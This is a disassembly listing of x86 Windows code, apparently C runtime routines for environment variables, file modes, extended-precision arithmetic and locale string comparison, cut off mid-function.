loc_425A5A: ; CODE XREF: sub_425955+F5j
push edi
call esi
cmp edi, 0Bh
pop ecx
jz short loc_425A68
cmp edi, 4
jnz short loc_425A7B
loc_425A68: ; CODE XREF: sub_425955+103j
; sub_425955+10Cj
cmp edi, 8
mov dword_4DB350, ebx
jnz short loc_425A7B
mov eax, [ebp+arg_0]
mov dword_43C94C, eax
loc_425A7B: ; CODE XREF: sub_425955+111j
; sub_425955+11Cj
xor eax, eax
pop ebx
loc_425A7E: ; CODE XREF: sub_425955+2Cj
; sub_425955+79j
pop edi
pop esi
pop ebp
retn
sub_425955 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_425A82 proc near ; CODE XREF: sub_425955+59p
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov ecx, dword_43C948
cmp dword_43C8CC, edx
push esi
mov eax, offset dword_43C8C8
jz short loc_425AB0
lea esi, [ecx+ecx*2]
lea esi, ds:43C8C8h[esi*4]
loc_425AA4: ; CODE XREF: sub_425A82+2Cj
add eax, 0Ch
cmp eax, esi
jnb short loc_425AB0
cmp [eax+4], edx
jnz short loc_425AA4
loc_425AB0: ; CODE XREF: sub_425A82+16j
; sub_425A82+27j
lea ecx, [ecx+ecx*2]
pop esi
lea ecx, ds:43C8C8h[ecx*4]
cmp eax, ecx
jnb short loc_425AC4
cmp [eax+4], edx
jz short locret_425AC6
loc_425AC4: ; CODE XREF: sub_425A82+3Bj
xor eax, eax
locret_425AC6: ; CODE XREF: sub_425A82+40j
retn
sub_425A82 endp
; =============== S U B R O U T I N E =======================================
sub_425AC7 proc near ; CODE XREF: sub_4247EC+23p
arg_0 = dword ptr 4
cmp dword_4DC910, 0
push ebx
push esi
mov esi, dword_4DB2A0
push edi
jz short loc_425B3E
test esi, esi
jnz short loc_425AF8
cmp dword_4DB2A8, esi
jz short loc_425B3E
call sub_425E95
test eax, eax
jnz short loc_425B3E
mov esi, dword_4DB2A0
test esi, esi
jz short loc_425B3E
loc_425AF8: ; CODE XREF: sub_425AC7+14j
mov ebx, [esp+0Ch+arg_0]
test ebx, ebx
jz short loc_425B3E
push ebx
call sub_41AFE0
pop ecx
mov edi, eax
loc_425B09: ; CODE XREF: sub_425AC7+6Dj
mov eax, [esi]
test eax, eax
jz short loc_425B3E
push eax
call sub_41AFE0
cmp eax, edi
pop ecx
jbe short loc_425B31
mov eax, [esi]
cmp byte ptr [eax+edi], 3Dh
jnz short loc_425B31
push edi
push ebx
push eax
call sub_425E56
add esp, 0Ch
test eax, eax
jz short loc_425B36
loc_425B31: ; CODE XREF: sub_425AC7+51j
; sub_425AC7+59j
add esi, 4
jmp short loc_425B09
; ---------------------------------------------------------------------------
loc_425B36: ; CODE XREF: sub_425AC7+68j
mov eax, [esi]
lea eax, [eax+edi+1]
jmp short loc_425B40
; ---------------------------------------------------------------------------
loc_425B3E: ; CODE XREF: sub_425AC7+10j
; sub_425AC7+1Cj ...
xor eax, eax
loc_425B40: ; CODE XREF: sub_425AC7+75j
pop edi
pop esi
pop ebx
retn
sub_425AC7 endp
; =============== S U B R O U T I N E =======================================
sub_425B44 proc near ; CODE XREF: sub_424F0A+8Bp
; sub_424F0A+D9p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
cmp eax, dword_4DC6C0
jnb short loc_425BAB
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, dword_4DC5C0[ecx*4]
lea edx, [ecx+eax*8+4]
mov cl, [ecx+eax*8+4]
test cl, 1
jz short loc_425BAB
mov al, cl
mov esi, 8000h
and eax, 80h
cmp [esp+4+arg_4], esi
jnz short loc_425B84
and cl, 7Fh
jmp short loc_425B91
; ---------------------------------------------------------------------------
loc_425B84: ; CODE XREF: sub_425B44+39j
cmp [esp+4+arg_4], 4000h
jnz short loc_425B9F
or cl, 80h
loc_425B91: ; CODE XREF: sub_425B44+3Ej
neg eax
sbb eax, eax
mov [edx], cl
and ax, 0C000h
add eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_425B9F: ; CODE XREF: sub_425B44+48j
mov dword_4DB278, 16h
jmp short loc_425BB5
; ---------------------------------------------------------------------------
loc_425BAB: ; CODE XREF: sub_425B44+Bj
; sub_425B44+27j
mov dword_4DB278, 9
loc_425BB5: ; CODE XREF: sub_425B44+65j
or eax, 0FFFFFFFFh
pop esi
retn
sub_425B44 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425BBA proc near ; CODE XREF: sub_4256C2+165p
; sub_425DDA+69p
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 24h
push ebx
mov ebx, [ebp+arg_4]
push esi
mov esi, [ebp+arg_0]
mov cx, [ebx+0Ah]
xor eax, eax
push edi
mov [ebp+var_14], eax
mov [ebp+var_24], eax
mov [ebp+var_20], eax
mov [ebp+var_1C], eax
mov ax, [esi+0Ah]
mov edi, ecx
mov edx, 7FFFh
xor edi, eax
and eax, edx
and ecx, edx
and edi, 8000h
cmp ax, 7FFFh
lea edx, [ecx+eax]
mov [ebp+arg_0], edx
jnb loc_425DBA
cmp cx, 7FFFh
jnb loc_425DBA
cmp dx, 0BFFDh
ja loc_425DBA
cmp dx, 3FBFh
ja short loc_425C23
xor eax, eax
jmp short loc_425C5D
; ---------------------------------------------------------------------------
loc_425C23: ; CODE XREF: sub_425BBA+63j
test ax, ax
mov edx, 7FFFFFFFh
jnz short loc_425C45
inc [ebp+arg_0]
test [esi+8], edx
jnz short loc_425C45
xor eax, eax
cmp [esi+4], eax
jnz short loc_425C47
cmp [esi], eax
jnz short loc_425C47
jmp loc_425DB4
; ---------------------------------------------------------------------------
loc_425C45: ; CODE XREF: sub_425BBA+71j
; sub_425BBA+79j
xor eax, eax
loc_425C47: ; CODE XREF: sub_425BBA+80j
; sub_425BBA+84j
cmp cx, ax
jnz short loc_425C6A
inc [ebp+arg_0]
test [ebx+8], edx
jnz short loc_425C6A
cmp [ebx+4], eax
jnz short loc_425C6A
cmp [ebx], eax
jnz short loc_425C6A
loc_425C5D: ; CODE XREF: sub_425BBA+67j
mov [esi+8], eax
mov [esi+4], eax
mov [esi], eax
jmp loc_425DD5
; ---------------------------------------------------------------------------
loc_425C6A: ; CODE XREF: sub_425BBA+90j
; sub_425BBA+98j ...
mov [ebp+var_10], eax
lea eax, [ebp+var_20]
mov [ebp+var_4], eax
mov [ebp+arg_4], 5
loc_425C7A: ; CODE XREF: sub_425BBA+122j
mov eax, [ebp+var_10]
add eax, eax
cmp [ebp+arg_4], 0
jle short loc_425CCE
add eax, esi
lea ecx, [ebx+8]
mov [ebp+var_8], eax
mov eax, [ebp+arg_4]
mov [ebp+var_C], ecx
mov [ebp+var_18], eax
loc_425C96: ; CODE XREF: sub_425BBA+112j
mov eax, [ebp+var_8]
mov ecx, [ebp+var_C]
movzx eax, word ptr [eax]
movzx ecx, word ptr [ecx]
imul eax, ecx
mov ecx, [ebp+var_4]
add ecx, 0FFFFFFFCh
push ecx
push eax
push dword ptr [ecx]
call sub_425050
add esp, 0Ch
test eax, eax
jz short loc_425CC1
mov eax, [ebp+var_4]
inc word ptr [eax]
loc_425CC1: ; CODE XREF: sub_425BBA+FFj
add [ebp+var_8], 2
sub [ebp+var_C], 2
dec [ebp+var_18]
jnz short loc_425C96
loc_425CCE: ; CODE XREF: sub_425BBA+C9j
add [ebp+var_4], 2
inc [ebp+var_10]
dec [ebp+arg_4]
cmp [ebp+arg_4], 0
jg short loc_425C7A
add [ebp+arg_0], 0C002h
cmp word ptr [ebp+arg_0], 0
jle short loc_425D11
loc_425CEC: ; CODE XREF: sub_425BBA+14Ej
test byte ptr [ebp+var_1C+3], 80h
jnz short loc_425D0A
lea eax, [ebp+var_24]
push eax
call sub_4250CF
add [ebp+arg_0], 0FFFFh
pop ecx
cmp word ptr [ebp+arg_0], 0
jg short loc_425CEC
loc_425D0A: ; CODE XREF: sub_425BBA+136j
cmp word ptr [ebp+arg_0], 0
jg short loc_425D4A
loc_425D11: ; CODE XREF: sub_425BBA+130j
add [ebp+arg_0], 0FFFFh
cmp word ptr [ebp+arg_0], 0
jge short loc_425D4A
movsx eax, word ptr [ebp+arg_0]
neg eax
add [ebp+arg_0], eax
mov ebx, eax
loc_425D2A: ; CODE XREF: sub_425BBA+184j
test byte ptr [ebp+var_24], 1
jz short loc_425D33
inc [ebp+var_14]
loc_425D33: ; CODE XREF: sub_425BBA+174j
lea eax, [ebp+var_24]
push eax
call sub_4250FD
dec ebx
pop ecx
jnz short loc_425D2A
cmp [ebp+var_14], 0
jz short loc_425D4A
or byte ptr [ebp+var_24], 1
loc_425D4A: ; CODE XREF: sub_425BBA+155j
; sub_425BBA+163j ...
cmp word ptr [ebp+var_24], 8000h
ja short loc_425D61
mov eax, [ebp+var_24]
and eax, 1FFFFh
cmp eax, 18000h
jnz short loc_425D96
loc_425D61: ; CODE XREF: sub_425BBA+196j
cmp [ebp+var_24+2], 0FFFFFFFFh
jnz short loc_425D93
and [ebp+var_24+2], 0
cmp [ebp+var_20+2], 0FFFFFFFFh
jnz short loc_425D8E
and [ebp+var_20+2], 0
cmp word ptr [ebp+var_1C+2], 0FFFFh
jnz short loc_425D88
inc [ebp+arg_0]
mov word ptr [ebp+var_1C+2], 8000h
jmp short loc_425D96
; ---------------------------------------------------------------------------
loc_425D88: ; CODE XREF: sub_425BBA+1C1j
inc word ptr [ebp+var_1C+2]
jmp short loc_425D96
; ---------------------------------------------------------------------------
loc_425D8E: ; CODE XREF: sub_425BBA+1B5j
inc [ebp+var_20+2]
jmp short loc_425D96
; ---------------------------------------------------------------------------
loc_425D93: ; CODE XREF: sub_425BBA+1ABj
inc [ebp+var_24+2]
loc_425D96: ; CODE XREF: sub_425BBA+1A5j
; sub_425BBA+1CCj ...
mov eax, [ebp+arg_0]
cmp ax, 7FFFh
jnb short loc_425DBA
mov cx, word ptr [ebp+var_24+2]
or eax, edi
mov [esi], cx
mov ecx, [ebp+var_20]
mov [esi+2], ecx
mov ecx, [ebp+var_1C]
mov [esi+6], ecx
loc_425DB4: ; CODE XREF: sub_425BBA+86j
mov [esi+0Ah], ax
jmp short loc_425DD5
; ---------------------------------------------------------------------------
loc_425DBA: ; CODE XREF: sub_425BBA+42j
; sub_425BBA+4Dj ...
neg di
sbb edi, edi
and dword ptr [esi+4], 0
and edi, 80000000h
add edi, 7FFF8000h
and dword ptr [esi], 0
mov [esi+8], edi
loc_425DD5: ; CODE XREF: sub_425BBA+ABj
; sub_425BBA+1FEj
pop edi
pop esi
pop ebx
leave
retn
sub_425BBA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425DDA proc near ; CODE XREF: sub_4251F1+440p
; sub_4256C2+14Cp
var_C = byte ptr -0Ch
var_A = dword ptr -0Ah
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
mov ebx, offset dword_43CDC8
xor ecx, ecx
sub ebx, 60h
cmp [ebp+arg_4], ecx
jz short loc_425E53
jge short loc_425E02
mov eax, [ebp+arg_4]
mov ebx, offset dword_43CF28
neg eax
mov [ebp+arg_4], eax
sub ebx, 60h
loc_425E02: ; CODE XREF: sub_425DDA+16j
cmp [ebp+arg_8], ecx
jnz short loc_425E0D
mov eax, [ebp+arg_0]
mov [eax], cx
loc_425E0D: ; CODE XREF: sub_425DDA+2Bj
cmp [ebp+arg_4], ecx
jz short loc_425E53
push esi
push edi
loc_425E14: ; CODE XREF: sub_425DDA+75j
mov eax, [ebp+arg_4]
add ebx, 54h
sar [ebp+arg_4], 3
and eax, 7
cmp eax, ecx
jz short loc_425E4C
lea eax, [eax+eax*2]
cmp word ptr [ebx+eax*4], 8000h
lea esi, [ebx+eax*4]
jb short loc_425E3F
lea edi, [ebp+var_C]
movsd
movsd
movsd
dec [ebp+var_A]
lea esi, [ebp+var_C]
loc_425E3F: ; CODE XREF: sub_425DDA+57j
push esi
push [ebp+arg_0]
call sub_425BBA
pop ecx
pop ecx
xor ecx, ecx
loc_425E4C: ; CODE XREF: sub_425DDA+49j
cmp [ebp+arg_4], ecx
jnz short loc_425E14
pop edi
pop esi
loc_425E53: ; CODE XREF: sub_425DDA+14j
; sub_425DDA+36j
pop ebx
leave
retn
sub_425DDA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425E56 proc near ; CODE XREF: sub_425AC7+5Ep
; sub_426332+18p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 0
jnz short loc_425E63
xor eax, eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_425E63: ; CODE XREF: sub_425E56+7j
push dword_4DC6C4
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_8]
push [ebp+arg_0]
push 1
push dword_4DC8E4
call sub_425F03
add esp, 1Ch
test eax, eax
jnz short loc_425E90
mov eax, 7FFFFFFFh
pop ebp
retn
; ---------------------------------------------------------------------------
loc_425E90: ; CODE XREF: sub_425E56+31j
add eax, 0FFFFFFFEh
pop ebp
retn
sub_425E56 endp
; =============== S U B R O U T I N E =======================================
sub_425E95 proc near ; CODE XREF: sub_425AC7+1Ep
; sub_4261AB+5Bp
var_4 = dword ptr -4
push ecx
push ebx
push ebp
push esi
mov esi, dword_4DB2A8
push edi
xor edi, edi
mov eax, [esi]
cmp eax, edi
jz short loc_425EF6
mov ebx, dword_42717C
loc_425EAE: ; CODE XREF: sub_425E95+5Fj
push edi
push edi
push edi
push edi
push 0FFFFFFFFh
push eax
push edi
push 1
call ebx
mov ebp, eax
cmp ebp, edi
jz short loc_425EFE
push ebp
call sub_41B4D5
cmp eax, edi
pop ecx
mov [esp+14h+var_4], eax
jz short loc_425EFE
push edi
push edi
push ebp
push eax
push 0FFFFFFFFh
push dword ptr [esi]
push edi
push 1
call ebx
test eax, eax
jz short loc_425EFE
push edi
push [esp+18h+var_4]
call sub_4261AB
mov eax, [esi+4]
add esi, 4
pop ecx
cmp eax, edi
pop ecx
jnz short loc_425EAE
loc_425EF6: ; CODE XREF: sub_425E95+11j
xor eax, eax
loc_425EF8: ; CODE XREF: sub_425E95+6Cj
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_425EFE: ; CODE XREF: sub_425E95+29j
; sub_425E95+38j ...
or eax, 0FFFFFFFFh
jmp short loc_425EF8
sub_425E95 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425F03 proc near ; CODE XREF: sub_425E56+27p
var_3C = dword ptr -3Ch
var_36 = byte ptr -36h
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427CF0
push offset sub_4234B8
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push ebx
push esi
push edi
mov [ebp+var_18], esp
xor ebx, ebx
cmp dword_4DB588, ebx
push 1
pop edi
jnz short loc_425F76
push edi
mov eax, offset dword_427940
push eax
push edi
push eax
push ebx
push ebx
nop
call near ptr 25E0000h
test eax, eax
jz short loc_425F53
mov dword_4DB588, edi
jmp short loc_425F76
; ---------------------------------------------------------------------------
loc_425F53: ; CODE XREF: sub_425F03+46j
push edi
mov eax, offset dword_4CAE2C
push eax
push edi
push eax
push ebx
push ebx
call near ptr 25E0704h
nop
test eax, eax
jz loc_42616C
mov dword_4DB588, 2
loc_425F76: ; CODE XREF: sub_425F03+31j
; sub_425F03+4Ej
mov esi, [ebp+arg_C]
cmp esi, ebx
jle short loc_425F8D
push esi
push [ebp+arg_8]
call sub_426180
pop ecx
pop ecx
mov esi, eax
mov [ebp+arg_C], esi
loc_425F8D: ; CODE XREF: sub_425F03+78j
cmp [ebp+arg_14], ebx
jle short loc_425FA2
push [ebp+arg_14]
push [ebp+arg_10]
call sub_426180
pop ecx
pop ecx
mov [ebp+arg_14], eax
loc_425FA2: ; CODE XREF: sub_425F03+8Dj
mov eax, dword_4DB588
cmp eax, 2
jnz short loc_425FC7
push [ebp+arg_14]
push [ebp+arg_10]
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 25E0704h
jmp loc_42616E
; ---------------------------------------------------------------------------
loc_425FC7: ; CODE XREF: sub_425F03+A7j
cmp eax, edi
jnz loc_42616C
cmp [ebp+arg_18], ebx
jnz short loc_425FDC
mov eax, dword_4DB344
mov [ebp+arg_18], eax
loc_425FDC: ; CODE XREF: sub_425F03+CFj
cmp esi, ebx
jz short loc_425FE9
cmp [ebp+arg_14], ebx
jnz loc_426081
loc_425FE9: ; CODE XREF: sub_425F03+DBj
cmp esi, [ebp+arg_14]
jnz short loc_425FF6
loc_425FEE: ; CODE XREF: sub_425F03+13Cj
; sub_425F03+16Dj
push 2
loc_425FF0: ; CODE XREF: sub_425F03+146j
pop eax
jmp loc_42616E
; ---------------------------------------------------------------------------
loc_425FF6: ; CODE XREF: sub_425F03+E9j
cmp [ebp+arg_14], edi
jle short loc_426002
loc_425FFB: ; CODE XREF: sub_425F03+151j
; sub_425F03+159j ...
mov eax, edi
jmp loc_42616E
; ---------------------------------------------------------------------------
loc_426002: ; CODE XREF: sub_425F03+F6j
cmp esi, edi
jg short loc_426047
lea eax, [ebp+var_3C]
push eax
push [ebp+arg_18]
call near ptr 28B0000h
nop
test eax, eax
jz loc_42616C
cmp esi, ebx
jle short loc_42604B
cmp [ebp+var_3C], 2
jb short loc_426047
lea eax, [ebp+var_36]
cmp [ebp+var_36], bl
jz short loc_426047
loc_42602D: ; CODE XREF: sub_425F03+142j
mov dl, [eax+1]
cmp dl, bl
jz short loc_426047
mov ecx, [ebp+arg_8]
mov cl, [ecx]
cmp cl, [eax]
jb short loc_426041
cmp cl, dl
jbe short loc_425FEE
loc_426041: ; CODE XREF: sub_425F03+138j
inc eax
inc eax
cmp [eax], bl
jnz short loc_42602D
loc_426047: ; CODE XREF: sub_425F03+101j
; sub_425F03+120j ...
push 3
jmp short loc_425FF0
; ---------------------------------------------------------------------------
loc_42604B: ; CODE XREF: sub_425F03+11Aj
cmp [ebp+arg_14], ebx
jle short loc_426081
cmp [ebp+var_3C], 2
jb short loc_425FFB
lea eax, [ebp+var_36]
cmp [ebp+var_36], bl
jz short loc_425FFB
loc_42605E: ; CODE XREF: sub_425F03+177j
mov dl, [eax+1]
cmp dl, bl
jz short loc_425FFB
mov ecx, [ebp+arg_10]
mov cl, [ecx]
cmp cl, [eax]
jb short loc_426076
cmp cl, dl
jbe loc_425FEE
loc_426076: ; CODE XREF: sub_425F03+169j
inc eax
inc eax
cmp [eax], bl
jnz short loc_42605E
jmp loc_425FFB
; ---------------------------------------------------------------------------
loc_426081: ; CODE XREF: sub_425F03+E0j
; sub_425F03+14Bj
push ebx
push ebx
push esi
push [ebp+arg_8]
push 9
push [ebp+arg_18]
call near ptr 2820000h
nop
mov [ebp+var_1C], eax
cmp eax, ebx
jz loc_42616C
mov [ebp+var_4], ebx
add eax, eax
add eax, 3
and al, 0FCh
call sub_41BB20
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_24], eax
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_4260D0
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor ebx, ebx
mov [ebp+var_24], ebx
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+arg_C]
push 1
pop edi
loc_4260D0: ; CODE XREF: sub_425F03+1B5j
cmp [ebp+var_24], ebx
jz loc_42616C
push [ebp+var_1C]
push [ebp+var_24]
push esi
push [ebp+arg_8]
push edi
push [ebp+arg_18]
mov esi, dword_427180
call esi
test eax, eax
jz short loc_42616C
push ebx
push ebx
push [ebp+arg_14]
push [ebp+arg_10]
push 9
push [ebp+arg_18]
call esi
mov esi, eax
mov [ebp+var_20], esi
cmp esi, ebx
jz short loc_42616C
mov [ebp+var_4], edi
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_41BB20
mov [ebp+var_18], esp
mov edi, esp
mov [ebp+var_28], edi
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_42613B
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor ebx, ebx
xor edi, edi
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+var_20]
loc_42613B: ; CODE XREF: sub_425F03+224j
cmp edi, ebx
jz short loc_42616C
push esi
push edi
push [ebp+arg_14]
push [ebp+arg_10]
push 1
push [ebp+arg_18]
nop
call near ptr 2820000h
test eax, eax
jz short loc_42616C
push esi
push edi
push [ebp+var_1C]
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 25E0000h
jmp short loc_42616E
; ---------------------------------------------------------------------------
loc_42616C: ; CODE XREF: sub_425F03+63j
; sub_425F03+C6j ...
xor eax, eax
loc_42616E: ; CODE XREF: sub_425F03+BFj
; sub_425F03+EEj ...
lea esp, [ebp-4Ch]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_425F03 endp
; =============== S U B R O U T I N E =======================================
sub_426180 proc near ; CODE XREF: sub_422ACA+81p
; sub_425F03+7Ep ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_4]
mov eax, [esp+arg_0]
test edx, edx
push esi
lea ecx, [edx-1]
jz short loc_42619D
loc_426190: ; CODE XREF: sub_426180+1Bj
cmp byte ptr [eax], 0
jz short loc_42619D
inc eax
mov esi, ecx
dec ecx
test esi, esi
jnz short loc_426190
loc_42619D: ; CODE XREF: sub_426180+Ej
; sub_426180+13j
cmp byte ptr [eax], 0
pop esi
jnz short loc_4261A8
sub eax, [esp+arg_0]
retn
; ---------------------------------------------------------------------------
loc_4261A8: ; CODE XREF: sub_426180+21j
mov eax, edx
retn
sub_426180 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4261AB proc near ; CODE XREF: sub_425E95+50p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
xor edi, edi
cmp [ebp+arg_0], edi
jz short loc_42620F
push 3Dh
push [ebp+arg_0]
call sub_4263F1
mov esi, eax
pop ecx
cmp esi, edi
pop ecx
mov [ebp+var_8], esi
jz short loc_42620F
cmp [ebp+arg_0], esi
jz short loc_42620F
mov eax, dword_4DB2A0
xor ebx, ebx
cmp [esi+1], bl
setz bl
cmp eax, dword_4DB2A4
jnz short loc_4261F5
push eax
call sub_42638A
pop ecx
mov dword_4DB2A0, eax
loc_4261F5: ; CODE XREF: sub_4261AB+3Cj
cmp eax, edi
jnz short loc_42624D
cmp [ebp+arg_4], edi
jz short loc_426217
cmp dword_4DB2A8, edi
jz short loc_426217
call sub_425E95
test eax, eax
jz short loc_42624D
loc_42620F: ; CODE XREF: sub_4261AB+Dj
; sub_4261AB+22j ...
or eax, 0FFFFFFFFh
loc_426212: ; CODE XREF: sub_4261AB+182j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_426217: ; CODE XREF: sub_4261AB+51j
; sub_4261AB+59j
cmp ebx, edi
jnz loc_42632B
push 4
call sub_41B4D5
cmp eax, edi
pop ecx
mov dword_4DB2A0, eax
jz short loc_42620F
mov [eax], edi
cmp dword_4DB2A8, edi
jnz short loc_42624D
push 4
call sub_41B4D5
cmp eax, edi
pop ecx
mov dword_4DB2A8, eax
jz short loc_42620F
mov [eax], edi
loc_42624D: ; CODE XREF: sub_4261AB+4Cj
; sub_4261AB+62j ...
sub esi, [ebp+arg_0]
mov edi, dword_4DB2A0
mov [ebp+var_4], edi
push esi
push [ebp+arg_0]
call sub_426332
mov esi, eax
pop ecx
test esi, esi
pop ecx
jl short loc_4262AD
cmp dword ptr [edi], 0
jz short loc_4262AD
test ebx, ebx
jz short loc_4262A5
push dword ptr [edi+esi*4]
lea edi, [edi+esi*4]
call sub_41B0B1
pop ecx
loc_42627F: ; CODE XREF: sub_4261AB+E2j
cmp dword ptr [edi], 0
jz short loc_42628F
mov eax, [edi+4]
inc esi
mov [edi], eax
add edi, 4
jmp short loc_42627F
; ---------------------------------------------------------------------------
loc_42628F: ; CODE XREF: sub_4261AB+D7j
mov eax, esi
shl eax, 2
push eax
push [ebp+var_4]
call sub_41B202
pop ecx
test eax, eax
pop ecx
jz short loc_4262DF
jmp short loc_4262DA
; ---------------------------------------------------------------------------
loc_4262A5: ; CODE XREF: sub_4261AB+C6j
mov eax, [ebp+arg_0]
mov [edi+esi*4], eax
jmp short loc_4262DF
; ---------------------------------------------------------------------------
loc_4262AD: ; CODE XREF: sub_4261AB+BDj
; sub_4261AB+C2j
test ebx, ebx
jnz short loc_42632B
test esi, esi
jge short loc_4262B7
neg esi
loc_4262B7: ; CODE XREF: sub_4261AB+108j
lea eax, ds:8[esi*4]
push eax
push edi
call sub_41B202
pop ecx
test eax, eax
pop ecx
jz loc_42620F
mov ecx, [ebp+arg_0]
mov [eax+esi*4], ecx
and dword ptr [eax+esi*4+4], 0
loc_4262DA: ; CODE XREF: sub_4261AB+F8j
mov dword_4DB2A0, eax
loc_4262DF: ; CODE XREF: sub_4261AB+F6j
; sub_4261AB+100j
cmp [ebp+arg_4], 0
jz short loc_42632B
push [ebp+arg_0]
call sub_41AFE0
inc eax
inc eax
push eax
call sub_41B4D5
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_42632B
push [ebp+arg_0]
push esi
call sub_41BEB0
mov eax, esi
pop ecx
sub eax, [ebp+arg_0]
pop ecx
add eax, [ebp+var_8]
and byte ptr [eax], 0
inc eax
neg ebx
sbb ebx, ebx
not ebx
and ebx, eax
push ebx
push esi
call near ptr 25D0000h
nop
push esi
call sub_41B0B1
pop ecx
loc_42632B: ; CODE XREF: sub_4261AB+6Ej
; sub_4261AB+104j ...
xor eax, eax
jmp loc_426212
sub_4261AB endp
; =============== S U B R O U T I N E =======================================
sub_426332 proc near ; CODE XREF: sub_4261AB+B2p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, dword_4DB2A0
push edi
mov eax, [esi]
test eax, eax
jz short loc_42636D
mov edi, [esp+8+arg_4]
loc_426344: ; CODE XREF: sub_426332+39j
push edi
push eax
push [esp+10h+arg_0]
call sub_425E56
add esp, 0Ch
test eax, eax
jnz short loc_426363
mov eax, [esi]
mov al, [eax+edi]
cmp al, 3Dh
jz short loc_42637D
test al, al
jz short loc_42637D
loc_426363: ; CODE XREF: sub_426332+22j
mov eax, [esi+4]
add esi, 4
test eax, eax
jnz short loc_426344
loc_42636D: ; CODE XREF: sub_426332+Cj
mov eax, esi
sub eax, dword_4DB2A0
sar eax, 2
neg eax
loc_42637A: ; CODE XREF: sub_426332+56j
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42637D: ; CODE XREF: sub_426332+2Bj
; sub_426332+2Fj
mov eax, esi
sub eax, dword_4DB2A0
sar eax, 2
jmp short loc_42637A
sub_426332 endp
; =============== S U B R O U T I N E =======================================
sub_42638A proc near ; CODE XREF: sub_4261AB+3Fp
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
xor ecx, ecx
test edi, edi
jnz short loc_426399
xor eax, eax
pop edi
retn
; ---------------------------------------------------------------------------
loc_426399: ; CODE XREF: sub_42638A+9j
cmp dword ptr [edi], 0
lea eax, [edi+4]
jz short loc_4263AB
loc_4263A1: ; CODE XREF: sub_42638A+1Fj
mov edx, [eax]
inc ecx
add eax, 4
test edx, edx
jnz short loc_4263A1
loc_4263AB: ; CODE XREF: sub_42638A+15j
push ebx
push ebp
lea eax, ds:4[ecx*4]
push esi
push eax
call sub_41B4D5
mov esi, eax
pop ecx
test esi, esi
mov ebp, esi
jnz short loc_4263CC
push 9
call sub_41DA29
pop ecx
loc_4263CC: ; CODE XREF: sub_42638A+38j
mov eax, [edi]
mov ebx, edi
loc_4263D0: ; CODE XREF: sub_42638A+5Bj
test eax, eax
jz short loc_4263E7
push eax
add ebx, 4
call sub_426464
mov [esi], eax
mov eax, [ebx]
pop ecx
add esi, 4
jmp short loc_4263D0
; ---------------------------------------------------------------------------
loc_4263E7: ; CODE XREF: sub_42638A+48j
and dword ptr [esi], 0
mov eax, ebp
pop esi
pop ebp
pop ebx
pop edi
retn
sub_42638A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4263F1 proc near ; CODE XREF: sub_4261AB+14p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
cmp dword_4DC6DC, 0
jnz short loc_42640C
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41BFB0
pop ecx
pop ecx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_42640C: ; CODE XREF: sub_4263F1+Aj
mov ecx, [ebp+arg_0]
loc_42640F: ; CODE XREF: sub_4263F1+56j
